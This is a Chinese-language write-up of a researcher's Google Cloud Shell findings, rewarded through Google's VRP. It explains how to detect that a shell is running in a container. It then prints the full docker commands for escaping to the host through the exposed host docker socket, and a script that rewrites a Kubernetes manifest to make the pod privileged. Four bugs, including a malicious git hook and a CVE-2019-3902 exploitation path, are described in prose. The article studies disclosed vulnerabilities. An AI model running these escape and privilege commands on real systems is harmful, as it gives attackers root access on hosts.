来自荷兰的安全研究员Wouter ter Maat(@wtm_offensi),凭借在 Google Cloud Shell 中发现的9个漏洞,获得了由Google漏洞奖励计划(VRP)颁发的10万刀赏金。
这些价值不菲的漏洞藏在什么地方,又是如何被Wouter发现的呢?这一切还要从他在Google Cloud Shell容器中的觉醒讲起。
如同《黑客帝国》中尼奥吞下那颗红色药丸后才看到了真实的世界一样,Wouter 在 Cloud Shell中也依靠“药丸”意识到自己原来是身处于一个容器环境。
选择你的药丸
了解 Google Cloud Shell请选择蓝色药丸?;
马上在容器中觉醒请选择红色药丸?。
?#:Google Cloud Shell
据官方文档介绍,Google Cloud Shell 是一个 shell 环境,用于管理 Google Cloud Platform 上托管的资源,它是一个可通过浏览器访问的Linux Shell。这个Shell附带了在Google Cloud Platform(GCP)上开展工作所需的预安装工具,例如gcloud,Docker,Python,vim,Emacs和Theia(一个强大的开源IDE)等。
Wouter在他的 github 仓库中提供了逃逸的指导:
https://github.com/offensi/LiveOverflow-cloudshell-stuff
想实际操作可以访问以下环境:
完成Cloud Shell实例创建后,会显示如下图所示的终端窗口。
这里需要注意:gcloud客户端是已经经过身份验证的,会以 chrome 当前登录用户身份进行认证,所以如果攻击者能够攻破用户的Cloud Shell,那么它将可以访问该用户所有GCP资源,危险性可见一斑!
以下“觉醒”药丸,请按需服用。
?#1:systemd-detect-virt
systemd-detect-virt 用于检测系统的运行环境是否为虚拟化环境,以及更进一步检测是哪种虚拟机或哪种容器。但是使用该命令检测是否身处docker 容器时很有局限性, 这是因为 systemd需要额外的capability,这意味着如果内置了systemd就相当于将以特权模式运行容器,这对于基础镜像来说很不安全,所以在docker容器里存在systemd的情况较少。
?#2:dmidecode
注意:该方法不适用于基于容器的虚拟化技术。
要检测 Linux 底层的虚拟化类型首选的是 dmidecode 命令,它最初设计来显示系统 BIOS 和硬件组件的相关信息。使用如下命令便可以检测相关虚拟化信息:sudo dmidecode -s system-manufacturer
?#3:PID 为1的进程
查看系统中 PID 为 1 进程的相关信息。
- /proc/1/exe <实际运行程序的符号链接>
- /proc/1/cgroup <包含进程所属的控制组的信息>
- /proc/1/cpuset
- /proc/1/sched
首先对比 /proc/1/exe ,宿主vmware虚拟机中:
pyc@hostVM:~$ sudo readlink /proc/1/exe
/lib/systemd/systemd
docker容器中:
root@c8b1ba73b510:/# readlink /proc/1/exe
/bin/bash
可以看出宿主虚拟机PID 为 1 的进程是 systemd,容器中则是应用进程。作为初步判断,如果PID 为 1 的进程是应用进程,则是容器,而如果是init进程或者systemd进程,则不一定是容器。
再来对比下 /proc/1/cgroup,宿主vmware虚拟机中:
pyc@hostVM:~$ cat /proc/1/cgroup
12:rdma:/
11:memory:/
… …
1:name=systemd:/init.scope
0::/init.scope
docker容器中:
root@c8b1ba73b510:/# cat /proc/1/cgroup
12:rdma:/
11:memory:/docker/c8b1ba73b510e0325984d3b998a09ed1b5c2e83333fdbad2982481e113653047
… …
1:name=systemd:/docker/c8b1ba73b510e0325984d3b998a09ed1b5c2e83333fdbad2982481e113653047
0::/system.slice/containerd.service
比较明显的区别是,在docker 容器中,cgroup 文件输出中会包含形如 “/docker/<containerid >”的结构。
虽然不排除极个别例外情况,但检查 /proc/1/cgroup 文件内容是目前一个比较靠谱的判断方式。
grep 'docker\|lxc' /proc/1/cgroup
?#4:.dockerenv 文件
docker 容器的根目录下有一个 .dockerenv 文件。
判断此文件是否存在基本上就可以断定当前是否在docker容器内,之所以说基本断定是因为个别发行版或者某些定制化较高的系统,可能不存在此文件。
可以通过 ls -alh /.dockerenv 来查看该文件是否存在:
root@517466dfeccf:/# ls -alh /.dockerenv
-rwxr-xr-x 1 root root 0 Apr 3 02:30 /.dockerenv
补充:虽然没有关于.dockerenv的官方文档,不过据了解,.dockerenv 至少从0.6.6版本开始就存在于docker容器中了。这个文件中曾包含容器内部定义的环境变量,由.dockerinit进程读取来设置环境变量。
顺便提一下.dockerinit,这个二进制文件的存在也曾被当作判定是否在容器内部的依据。lxc驱动程序曾经使用它来设置容器,在启动容器时lxc-attach命令会调用.dockerinit 来设置环境、用户和工作目录、运行entrypoint/cmd。不过lxc早已被删除,所以dockerinit也不再具有实际用途,自从1.11.0后就已经被移除了,.dockerenv 倒还是一直保留至今。
?#5:内核文件
docker 容器和宿主机是共享内核的,因此理论上容器内部是没有内核文件的,所以这也可以作为判断依据之一,例外的情况是如果容器挂载了宿主机的 /boot目录,那么这种方法会产生误判。
首先找到内核文件的绝对路径:
KERNEL_PATH=$(cat /proc/cmdline | tr ' ' '\n' | awk -F '=' '/BOOT_IMAGE/{print $2}')
然后检查内核文件是否存在:
test -e $KERNEL_PATH && echo "Not Sure" || echo "Container"
正式逃逸
好了,在 Cloud Shell 中验证确实为容器环境后,现在马上进入逃逸环节。
在浏览整个文件系统的过程中,会发现存在 2 个 docker unix 套接字。一个是 “/run/docker.sock”,这个是在Cloud Shell容器中运行的Docker unix套接字文件(也可以看作是Docker内部的Docker)。另一个则是“/google/host/var/run/docker.sock”。
看到这激动人心的路径了吗!表明它是Cloud Shell所在宿主机上Docker的套接字,意味着能和该套接字通信的任何人都可以轻松逃离当前Cloud Shell容器,同时获得宿主机上的root用户访问权限。
Cloud Shell 容器逃逸的具体过程如下:
# create a privileged container with host root filesystem mounted – wtm@offensi.com
# 第一步: pull 一个 alpine 镜像作为特权容器的基础镜像(注意:因为是和宿主机上的 docker 套接字通信,所以以下所有操作都将在宿主机上生效)
sudo docker -H unix:///google/host/var/run/docker.sock pull alpine:latest
# 第二步:运行一个名叫 LiveOverflow 的特权容器;将宿主机的 /proc 、/sys以及根目录挂在到容器内指定目录;和宿主机共享网络。
sudo docker -H unix:///google/host/var/run/docker.sock run -d -it --name LiveOverflow-container -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest
# 第三步:启动无敌的特权容器
sudo docker -H unix:///google/host/var/run/docker.sock start LiveOverflow-container
# 第四步:切换进入特权容器
sudo docker -H unix:///google/host/var/run/docker.sock exec -it LiveOverflow-container /bin/sh
完成以上步骤之后,便拥有了宿主机上的 root 访问权限。
环境勘测
逃逸行动开启了一扇从容器到宿主机的传送门,来都来了,不掌握更多的情报岂不浪费,于是Wouter 开始在宿主机上进行探索研究。这过程中发现了Kubernetes的配置,该配置存放在 “/etc/kubernetes/manifests”目录下的 YAML 文件中。
基于Kubernetes的配置以及使用tcpdump检查了几个小时的流量后,他大概梳理出了 Cloud Shell的工作原理:
可以看出,宿主机上由 Kubernetes 还管理着许多其他 docker 容器,不过这些容器在运行时都没有特权。因此,如果将来想要在这些容器中使用调试工具的话还需要想想办法,为了解决这个问题,Wouter 便利用如下脚本来重新配置“ cs-6000” pod。
#!/bin/sh
# wtm@offensi.com
# write new manifest
# 替换 kubernetes原配置中的securityContext 部分,它用于定义Pod或Container的权限和访问控
# 制设置,并将内容写入 /tmp/cs-6000.yaml
cat /etc/kubernetes/manifests/cs-6000.yaml | sed s/" 'securityContext': \!\!null 'null'"/\
" 'securityContext':\n"\
" 'privileged': \!\!bool 'true'\n"\
" 'procMount': \!\!null 'null'\n"\
" 'runAsGroup': \!\!null 'null'\n"\
" 'runAsUser': \!\!null 'null'\n"\
" 'seLinuxOptions': \!\!null 'null'\n"/g > /tmp/cs-6000.yaml
# replace old manifest with symlink
mv /tmp/cs-6000.yaml /etc/kubernetes/manifests/cs-6000.modified
ln -fs /dev/null /etc/kubernetes/manifests/cs-6000.yaml
这个脚本编写了一个新的cs-6000.yaml配置,并将旧配置链接到/dev/null。脚本执行后,pod中的所有容器都自动重新启动了。现在,所有容器都以特权模式运行了,这为后续的各种调试扫清了路障。
4枚漏洞
环境安排妥贴后,Wouter 开始专心挖洞。目前只有 4 个漏洞公布了细节,不过从中也可以学到不少挖洞的思路和技巧。
先来大概了解下这四个漏洞的情况:
前两个漏洞都存在于Google Cloud Shell 为用户提供的“Open In Cloud Shell”功能中。用户可以通过在 url 中指定“cloud_git_repo”参数去克隆Github或Bitbucket上托管的代码仓库到Cloud Shell的主目录中。漏洞呢,就出现在“cloud_git_repo”搭配其他参数一起使用的场景中。
Bug #1 – 借助PYLS 执行任意代码
第一个漏洞发生在搭配使用“open_in_editor”参数时,看参数的名字也大概猜得到,该参数的作用是指定要在Theia IDE 中打开的文件。当指定一个 pthon 文件打开时,会发现编辑器有语法高亮显示和自动补全功能,这个功能其实是由 PYLS (python-language-server,python语言服务器) 提供的。
通过监控 PYLS执行的系统调用,发现 PYLS会使用stat() syscall 查询主目录下不存在的一些软件包。又因为当版本小于3.3的Python 在导入包时, ‘__init__.py’ 文件会被隐式地执行。
结合这两个重要因素,通过创建一个名为指定名称的Python git 仓库,并包含一个恶意的’__init__.py’,就有可能通过PYLS实现任意代码执行!
Bug #2 – 利用 Git hook 脚本执行任意代码
第二个漏洞场景需要搭配另外两个参数,分别是“cloudshell_git_branch”和“cloudshell_working_dir”。当同时传递3个参数传递时,终端窗口内将调用cloudshell_open 函数。
function cloudshell_open {
...
git clone -- "$cloudshell_git_repo" "$target_directory"
cd "$cloudshell_working_dir"
git checkout "$cloudshell_git_branch"
...
}
可以看出,处理函数先会对url中的cloudshell_git_repo 参数执行git clone操作;然后cd 进入cloudshell_working_dir 指定的目录。接着,它在指定“cloudshell_git_branch”的分支上执行git checkout 操作。
利用思路是创建一个包含恶意post-checkout hook脚本的裸仓库,当同时使用如上三个参数拉取恶意仓库时,恶意hook脚本将会在cloud shell中执行。
这个漏洞的关键点有两处,一是发现了指定参数触发的的处理流程中有 checkout 操作,二是巧妙借用了裸仓库能将hook脚本推送到远程存储库这一特点。
Bug #3 – 自定义Cloud Shell 镜像引发的问题
默认情况下,Cloud Shell是基于Debian 9 Stretch 镜像创建的 docker 容器。但是当用户有特殊需求的时候,也是可以用自定义的镜像去替换默认镜像的。
值得注意的是,在设计这个功能时,开发人员已经考虑到从不受信任的第三方启用自定义镜像时可能会带来的安全风险。因此,Google还特地引入了“受信任”和“不受信任”模式。据说在两种模式下启动的容器会有不同的待遇,一是挂载的宿主机目录会不同,二是通过自定义镜像启动的容器不会拥有 gcloud 客户端的认证。
按理来说应该没有问题,但是问题恰恰就出在了传说中的“不受信任”模式并没起到它所预设的作用,导致基于恶意自定义镜像启动的容器有可能会访问到受害用户的各种GCP资源及凭证。
Bug #4 – CVE-2019-3902 漏洞利用
这个漏洞的发现由两个关键点促成,一是官方文档中未提及,但是暗搓搓藏在 js 代码中的参数“cloudshell_go_get_repo”;二是Cloud Shell镜像中存在针对Mercurial/HG的漏洞 CVE-2019-3902。
值得一提的是, Wouter 在Google Container Registry(gcr.io)中寻找漏洞时,发现 gcr.io 正好提供docker 镜像扫描的功能,于是便上传Cloud Shell镜像去进行检测,结果发现了包含CVE-2019-3902在内的差不多500多个漏洞。
不过要成功将CVE-2019-3902利用起来,还万万少不了“cloudshell_go_get_repo”做助攻。这是因为附带“cloudshell_go_get_repo”参数的请求在后端处理时会触发“go get” 命令,这个命令在拉取代码后会自动完成编译和安装,这便为后续代码执行提供了条件。而 ‘go get’命令能够处理的几种仓库类型中恰好包括HG!万事俱备,只差exp。
虽然当时没有现成的 CVE-2019-3902利用程序,需要自己构造,但是已修复版本源代码中的自动测试用例反而给 exp 的构造提供了重要线索,堪称来自官方的神助力。
- 启发 # 1:
依据官方文档探索功能。
一些功能的基本操作简单,不看文档也能大概正常使用,但是要发现漏洞,就需要去尝试使用各种功能和功能中的参数,尤其那些偏门或者不常用的功能也不能放过,这样有可能会发现更多潜在风险点。
- 启发 # 2:
在漏洞挖掘开始时,是没办法保证结果的,但是过程是否到位是可以由漏洞挖掘者保证的。
比如看到IDE 编辑文件有代码高亮和补全等功能时,是否能够发现该功能由PYLS提供;又是否会去跟踪PYLS 的处理流程,都是过程是否做到位的一部分。
经验丰富的审计人员可能会对存在漏洞的点有更敏感的直觉,不过在还没有这样的直觉前,对碰到的功能挨个进行测试增大覆盖面,也算是一种办法。
- 启发 # 3:
在有以上两步的基础上,还要积累攻击者角度使用的套路,不走寻常路。
- 启发 # 4:
随着厂商对自身产品的安全性投入更多的关注,针对产品使用过程中可能存在的风险点,官方也会进行提前处理,但是处理得是否到位,这恐怕还是个未知数。不过从另一个角度看,这也为漏洞挖掘提供了一个可选切入点,值得细品。
参考链接:
https://threatpost.com/100k-google-cloud-shell-root-compromise/153665/
https://twitter.com/wtm_offensi/status/1238166581265514496
https://cloud.google.com/shell/docs/open-in-cloud-shell
https://github.com/palantir/python-language-server
https://docs.python.org/zh-cn/3/reference/import.html
http://www.jinbuguo.com/systemd/systemd-detect-virt.html
https://www.linuxidc.com/Linux/2016-03/129539.htm